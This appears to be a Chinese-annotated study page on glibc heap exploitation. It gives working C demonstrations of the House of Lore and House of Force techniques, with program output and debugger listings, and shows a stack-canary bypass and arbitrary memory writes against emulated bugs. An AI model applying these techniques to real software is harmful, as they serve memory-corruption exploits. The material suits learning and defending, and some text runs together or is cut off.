fprintf(stderr, "\nWelcome to the House of Lore\n"); //这个版本也可以绕过glibc malloc引入的强化检查 fprintf(stderr, "This is a revisited version that bypass also the hardening check introduced by glibc malloc\n"); fprintf(stderr, "This is tested against Ubuntu 14.04.4 - 32bit - glibc-2.23\n\n"); //分配victim chunk(100) fprintf(stderr, "Allocating the victim chunk\n"); intptr_t *victim = malloc(100); //这时堆上的第一个small chunk fprintf(stderr, "Allocated the first small chunk on the heap at %p\n", victim);
//我们需要去掉头部大小才能得到真正的victim地址 // victim-WORD_SIZE because we need to remove the header size in order to have the absolute address of the chunk intptr_t *victim_chunk = victim-2;
fprintf(stderr, "stack_buffer_1 at %p\n", (void*)stack_buffer_1); fprintf(stderr, "stack_buffer_2 at %p\n", (void*)stack_buffer_2);
//在栈上创建一个fake chunk fprintf(stderr, "Create a fake chunk on the stack\n"); //我们把fwd指针指向victim_chunk来绕过第二个malloc到最后一个malloc上small bin corrupted的检查,这样就可以将我们的栈地址写到small bin list里了 fprintf(stderr, "Set the fwd pointer to the victim_chunk in order to bypass the check of small bin corrupted" "in second to the last malloc, which putting stack address on smallbin list\n"); stack_buffer_1[0] = 0; stack_buffer_1[1] = 0; stack_buffer_1[2] = victim_chunk;
//将我们的bk指针指向stack_buffer_2并且将stack_buffer_2的fwd指针指向stack_buffer_1来绕过最后一个malloc上small bin corrupted的检查,这样就可以在栈上返回一个假的chunk fprintf(stderr, "Set the bk pointer to stack_buffer_2 and set the fwd pointer of stack_buffer_2 to point to stack_buff er_1 " "in order to bypass the check of small bin corrupted in last malloc, which returning pointer to the fake ""chunk on stack"); stack_buffer_1[3] = (intptr_t*)stack_buffer_2; stack_buffer_2[2] = (intptr_t*)stack_buffer_1;
//分配另一个large bin来避免small bin在free的时候与top chunk合并 fprintf(stderr, "Allocating another large chunk in order to avoid consolidating the top chunk with" "the small one during the free()\n"); void *p5 = malloc(1000); fprintf(stderr, "Allocated the large chunk on the heap at %p\n", p5);
//free顶块,此时会将它放进unsorted bin中 fprintf(stderr, "Freeing ttop he chunk %p, it will be inserted in the unsorted bin\n", victim); free((void*)victim);
//在unsorted bin中,victim的fwd和bk指针都是0 fprintf(stderr, "\nIn the unsorted bin the victim's fwd and bk pointers are nil\n"); fprintf(stderr, "victim->fwd: %p\n", (void *)victim[0]); fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);
//现在调用一个不会被unsorted bin或者small bin处理的malloc fprintf(stderr, "Now performing a malloc that can't be handled by the UnsortedBin, nor the small bin\n"); //这也意味着chunk victim会被插入到smallbin的最前面 fprintf(stderr, "This means that the chunk %p will be inserted in front of the SmallBin\n", victim);
void *p2 = malloc(1200); fprintf(stderr, "The chunk that can't be handled by the unsorted bin, nor the SmallBin has been allocated to %p\n", p2 ); //victim chunk已经被排序并且他的fwd和bk指针也被更新了 fprintf(stderr, "The victim chunk has been sorted and its fwd and bk pointers updated\n"); fprintf(stderr, "victim->fwd: %p\n", (void *)victim[0]); fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);
//------------VULNERABILITY----------- //现在假设我们有一个漏洞可以覆盖victim->bk指针 fprintf(stderr, "Now emulating a vulnerability that can overwrite the victim->bk pointer\n");
//victim->bk正指向栈上 victim[1] = (intptr_t)stack_buffer_1; // victim->bk is pointing to stack
//------------------------------------ //现在我们分配一个和我们第一次free大小一样的chunk fprintf(stderr, "Now allocating a chunk with size equal to the first one freed\n"); //这个操作将会给我们返回已经被覆写的victim chunk并且将bin->bk指向被注入的victim->bk指针 fprintf(stderr, "This should return the overwritten victim chunk and set the bin->bk to the injected victim->bk pointer\n");
void *p3 = malloc(100);
//这个最后一次的malloc将欺骗glibc malloc返回一个在bin->bk中被注入的chunk fprintf(stderr, "This last malloc should trick the glibc malloc to return a chunk at the position injected in bin->bk\n"); char *p4 = malloc(100); fprintf(stderr, "p4 = malloc(100)\n"); //而stack_buffer_2的fwd指针也在最后一次的malloc中被修改了 fprintf(stderr, "\nThe fwd pointer of stack_buffer_2 has changed after the last malloc to %p\n", stack_buffer_2[2]);
fprintf(stderr, "\np4 is %p and should be on the stack!\n", p4); // this chunk will be allocated on stack intptr_t sc = (intptr_t)jackpot; // Emulating our in-memory shellcode memcpy((p4+40), &sc, 8); // This bypasses stack-smash detection since it jumps over the canary }
Welcome to the House of Lore This is a revisited version that bypass also the hardening check introduced by glibc malloc This is tested against Ubuntu 14.04.4 - 32bit - glibc-2.23
Allocating the victim chunk Allocated the first small chunkon the heapat0x81c010 stack_buffer_1 at0x7ffeea058c50 stack_buffer_2 at0x7ffeea058c30 Create a fake chunkon the stack Set the fwd pointer to the victim_chunk inorderto bypass the checkof small bin corruptedin secondto the last malloc, which putting stack address on smallbin list Set the bk pointer to stack_buffer_2 andset the fwd pointer of stack_buffer_2 to point to stack_buffer_1 inorderto bypass the checkof small bin corrupted inlast malloc, which returning pointer to the fake chunkon stackAllocating another largechunkinorderto avoid consolidating the top chunk withthe small one during the free() Allocated the largechunkon the heapat0x81c080 Freeing the chunk0x81c010, it will be inserted in the unsorted bin
In the unsorted bin the victim's fwd and bk pointers are nil victim->fwd: (nil) victim->bk: (nil)
Now performing a malloc that can't be handled by the UnsortedBin, nor the small bin This means that the chunk0x81c010 will be inserted in front of the SmallBin The chunk that can't be handled by the unsorted bin, nor the SmallBin has been allocated to 0x81c470 The victim chunk has been sorted and its fwd and bk pointers updated victim->fwd: 0x7f5b68740bd8 victim->bk: 0x7f5b68740bd8
Now emulating a vulnerability that can overwrite the victim->bk pointer Now allocating a chunk with size equal to the first one freed This should return the overwritten victim chunk and set the bin->bk to the injected victim->bk pointer This last malloc should trick the glibc malloc to return a chunk at the position injected in bin->bk p4 = malloc(100)
The fwd pointer of stack_buffer_2 has changed after the last malloc to 0x7f5b68740bd8
p4 is 0x7ffeea058c60 and should be on the stack! Nice jump d00d
42 intptr_t *victim = malloc(100); ► 43 fprintf(stderr, "Allocated the first small chunk on the heap at %p\n", victim);
54 stack_buffer_1[0] = 0; 55 stack_buffer_1[1] = 0; 56 stack_buffer_1[2] = victim_chunk; 57 ► 58 fprintf(stderr, "Set the bk pointer to stack_buffer_2 and set the fwd pointer of stack_buffer_2 to point to stack_buffer_1 "
61 stack_buffer_1[3] = (intptr_t*)stack_buffer_2; 62 stack_buffer_2[2] = (intptr_t*)stack_buffer_1; 63 ► 64 fprintf(stderr, "Allocating another large chunk in order to avoid consolidating the top chunk with"
66 void *p5 = malloc(1000); ► 67 fprintf(stderr, "Allocated the large chunk on the heap at %p\n", p5);
71 free((void*)victim); 72 ► 73 fprintf(stderr, "\nIn the unsorted bin the victim's fwd and bk pointers are nil\n");
80 void *p2 = malloc(1200); ► 81 fprintf(stderr, "The chunk that can't be handled by the unsorted bin, nor the SmallBin has been allocated to %p\n", p2);
91 victim[1] = (intptr_t)stack_buffer_1; // victim->bk is pointing to stack 92 93//------------------------------------ 94 ► 95 fprintf(stderr, "Now allocating a chunk with size equal to the first one freed\n");
98 void *p3 = malloc(100); 99 100 ► 101 fprintf(stderr, "This last malloc should trick the glibc malloc to return a chunk at the position injected in bin->bk\n");
//bss_var是我们要覆写的string char bss_var[] = "This is a string that we want to overwrite.";
intmain(int argc , char* argv[]) { fprintf(stderr, "\nWelcome to the House of Force\n\n"); //House of Force是覆写top chunk来分配任意内存地址的攻击方法 fprintf(stderr, "The idea of House of Force is to overwrite the top chunk and let the malloc return an arbitrary value.\n"); //top chunk是一个特殊的chunk,是内存中最后一块chunk,在向系统申请更多空间的情况下将会更改size的大小 fprintf(stderr, "The top chunk is a special chunk. Is the last in memory " "and is the chunk that will be resized when malloc asks for more space from the os.\n"); //在最后,我们将会使用这个方法来覆写bss_var的值 fprintf(stderr, "\nIn the end, we will use this to overwrite a variable at %p.\n", bss_var); fprintf(stderr, "Its current value is: %s\n", bss_var);
//先分配一个chunk p1(256) fprintf(stderr, "\nLet's allocate the first chunk, taking space from the wilderness.\n"); intptr_t *p1 = malloc(256); fprintf(stderr, "The chunk of 256 bytes has been allocated at %p.\n", p1 - 2);
//现在堆由两个chunk组成,一个是我们分配的,另一个就是top chunk fprintf(stderr, "\nNow the heap is composed of two chunks: the one we allocated and the top chunk/wilderness.\n"); int real_size = malloc_usable_size(p1); fprintf(stderr, "Real size (aligned and all that jazz) of our allocated chunk is %ld.\n", real_size + sizeof(long)*2);
//现在假设我们有一个漏洞可以覆盖top chunk的大小 fprintf(stderr, "\nNow let's emulate a vulnerability that can overwrite the header of the Top Chunk\n");
//用一个超大的值来覆盖top chunk以让我们可以确保malloc永远不会调用mmap来申请空间 fprintf(stderr, "\nOverwriting the top chunk size with a big value so we can ensure that the malloc will never call mmap.\n");
fprintf(stderr, "Old size of top chunk %#llx\n", *((unsignedlonglongint *)((char *)ptr_top + sizeof(long))));
*(intptr_t *)((char *)ptr_top + sizeof(long)) = -1; fprintf(stderr, "New size of top chunk %#llx\n", *((unsignedlonglongint *)((char *)ptr_top + sizeof(long)))); //------------------------
//现在我们的top chunk的size巨大非凡,我们可以随意申请内存而不会调用mmap fprintf(stderr, "\nThe size of the wilderness is now gigantic. We can allocate anything without malloc() calling mmap.\n" //下面,我们将通过整数溢出分配一个直达我们所需区域的,之后就可以在我们所需区域处分配一个chunk出来 "Next, we will allocate a chunk that will get us right up against the desired region (with an integer\n" "overflow) and will then be able to allocate a chunk right over the desired region.\n");
/* 我们所需的size是这么计算的: nb是我们要求的size+元数据 * The evil_size is calulcated as (nb is the number of bytes requested + space for metadata): * new_top = old_top + nb * nb = new_top - old_top * req + 2sizeof(long) = new_top - old_top * req = new_top - old_top - 2sizeof(long) * req = dest - 2sizeof(long) - old_top - 2sizeof(long) * req = dest - old_top - 4*sizeof(long) */ unsignedlong evil_size = (unsignedlong)bss_var - sizeof(long)*4 - (unsignedlong)ptr_top;
fprintf(stderr, "\nThe value we want to write to at %p, and the top chunk is at %p, so accounting for the header size,\n" "we will malloc %#lx bytes.\n", bss_var, ptr_top, evil_size); void *new_ptr = malloc(evil_size); 按预期,新的指针和旧的top chuk在同一位置 fprintf(stderr, "As expected, the new pointer is at the same place as the old top chunk: %p\n", new_ptr - sizeof(long)*2);
void* ctr_chunk = malloc(100); //现在,我们覆写的下一个chunk将指向我们的目标buffer fprintf(stderr, "\nNow, the next chunk we overwrite will point at our target buffer.\n"); fprintf(stderr, "malloc(100) => %p!\n", ctr_chunk); //现在,我们终于可以覆写这个值啦! fprintf(stderr, "Now, we can finally overwrite that value:\n");
fprintf(stderr, "... old string: %s\n", bss_var); fprintf(stderr, "... doing strcpy overwrite with \"YEAH!!!\"...\n"); strcpy(ctr_chunk, "YEAH!!!"); fprintf(stderr, "... new string: %s\n", bss_var);
//一些进一步的总结 // some further discussion: //这个被控制的malloc将会在参数为ebil_size=malloc_got_address-8-p2_gussed时被调用 //fprintf(stderr, "This controlled malloc will be called with a size parameter of evil_size = malloc_got_address - 8 - p2_guessed\n\n"); //这个是因为main_arena->top指针被设为了 av->top + malloc_size,并且我们想要将这个地址设置为malloc_got_address - 8的地址 //fprintf(stderr, "This because the main_arena->top pointer is setted to current av->top + malloc_size " // "and we \nwant to set this result to the address of malloc_got_address-8\n\n"); //为了做这件事,我们让 malloc_got_address - 8= p2_gussed+evil_size //fprintf(stderr, "In order to do this we have malloc_got_address-8 = p2_guessed + evil_size\n\n"); //av->top在分配了这个大的malloc了之后将被设置为malloc_got_address -8 //fprintf(stderr, "The av->top after this big malloc will be setted in this way to malloc_got_address-8\n\n"); //再调用一次新的malloc的时候将返回av->top+8并且返回一个在(malloc_got_address-8)+8=malloc_got_address的chunk //fprintf(stderr, "After that a new call to malloc will return av->top+8 ( +8 bytes for the header )," // "\nand basically return a chunk at (malloc_got_address-8)+8 = malloc_got_address\n\n");
//fprintf(stderr, "The large chunk with evil_size has been allocated here 0x%08x\n",p2);
//fprintf(stderr, "The main_arena value av->top has been setted to malloc_got_address-8=0x%08x\n",malloc_got_address); //最后一次分配将会通过其余的代码提供服务并返回之前被注入的av->top +8 //fprintf(stderr, "This last malloc will be served from the remainder code and will return the av->top+8 injected before\n"); }
The idea of House of Force is to overwrite the top chunk and let the malloc return an arbitrary value. The top chunk is a special chunk. Is the last in memory and is the chunk that will be resized when malloc asks for more space from the os.
In the end, we will use this to overwrite a variableat0x602060. Its currentvalueis: This is a string that we want to overwrite.
Let's allocate the first chunk, taking space from the wilderness. The chunk of 256 bytes has been allocated at 0x18b8000.
Now the heap is composed of two chunks: the one we allocated and the top chunk/wilderness. Real size (aligned and all that jazz) of our allocated chunk is 280.
Now let's emulate a vulnerability that can overwrite the header of the Top Chunk
The top chunk starts at0x18b8110
Overwriting the top chunksizewith a bigvalue so we can ensure that the malloc will nevercall mmap. Oldsizeof top chunk0x20ef1 Newsizeof top chunk0xffffffffffffffff
The sizeof the wilderness isnow gigantic. We can allocate anything without malloc() calling mmap. Next, we will allocate a chunk that will get us right up against the desired region (with an integer overflow) and will then be able toallocate a chunkrightover the desired region.
The value we want to write toat0x602060, and the top chunkisat0x18b8110, so accounting for the header size, we will malloc 0xfffffffffed49f30 bytes. As expected, the new pointer isat the same place as the old top chunk: 0x18b8110
Now, the nextchunk we overwrite will point at our target buffer. malloc(100) => 0x602060! Now, we can finally overwrite that value: ... oldstring: This is a string that we want to overwrite. ... doing strcpy overwrite with"YEAH!!!"... ... newstring: YEAH!!!
调试
因为较为简单,只下了几个断点
1 2 3 4 5 6 7 8 9 10 11 12 13 14
35intptr_t *p1 = malloc(256); ► 36fprintf(stderr, "The chunk of 256 bytes has been allocated at %p.\n", p1 - 2);
50 *(intptr_t *)((char *)ptr_top + sizeof(long)) = -1; ► 51fprintf(stderr, "New size of top chunk %#llx\n", *((unsignedlonglongint *)((char *)ptr_top + sizeof(long))));
67unsignedlong evil_size = (unsignedlong)bss_var - sizeof(long)*4 - (unsignedlong)ptr_top; ► 68fprintf(stderr, "\nThe value we want to write to at %p, and the top chunk is at %p, so accounting for the header size,\n"
70void *new_ptr = malloc(evil_size); ► 71fprintf(stderr, "As expected, the new pointer is at the same place as the old top chunk: %p\n", new_ptr - sizeof(long)*2);
73void* ctr_chunk = malloc(100); ► 74fprintf(stderr, "\nNow, the next chunk we overwrite will point at our target buffer.\n");